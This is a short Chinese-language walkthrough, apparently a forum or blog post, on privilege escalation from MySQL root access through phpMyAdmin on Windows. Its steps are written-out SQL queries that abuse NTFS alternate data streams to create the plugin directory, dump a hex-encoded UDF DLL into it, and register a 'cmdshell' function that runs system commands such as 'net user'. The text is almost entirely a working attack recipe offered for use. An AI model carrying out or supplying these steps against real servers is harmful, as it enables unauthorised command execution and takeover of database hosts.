适用环境:PhpMyAdmin 3.x + MySQL5.x
前提条件: 有MYSQL的ROOT权限,无Shell ,无法爆绝对路径
思路:利用NTFS ADS创建 plugin目录 ---- 导出UDF
过程:
查询 select @@basedir (或者 select @@datadir)
得到MySQL目录 C:\MySql\
假如该目录不存在\lib\plugin目录,利用ADS创建
查询 select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
此时会报错
ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION' (Errcode: 22)
但是lib目录已经创建了
再查询 select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
导出UDF.DLL
随便选一个库
查询 CREATE TABLE Temp_udf(udf BLOB);
查询 INSERT into Temp_udf values (CONVERT($shellcode,CHAR)); //$shellcode请用UDF用hex加密后的代码,地址在下面
查询 SELECT udf FROM Temp_udf INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\udf.dll';--
提权
查询 Create function cmdshell returns string soname 'udf.dll'; //此处不能填绝对路径 只能是dll名
查询 select * from mysql.func; //看看cmdshell function是否创立,创立就继续
查询 select cmdshell('net user'); //运行各种命令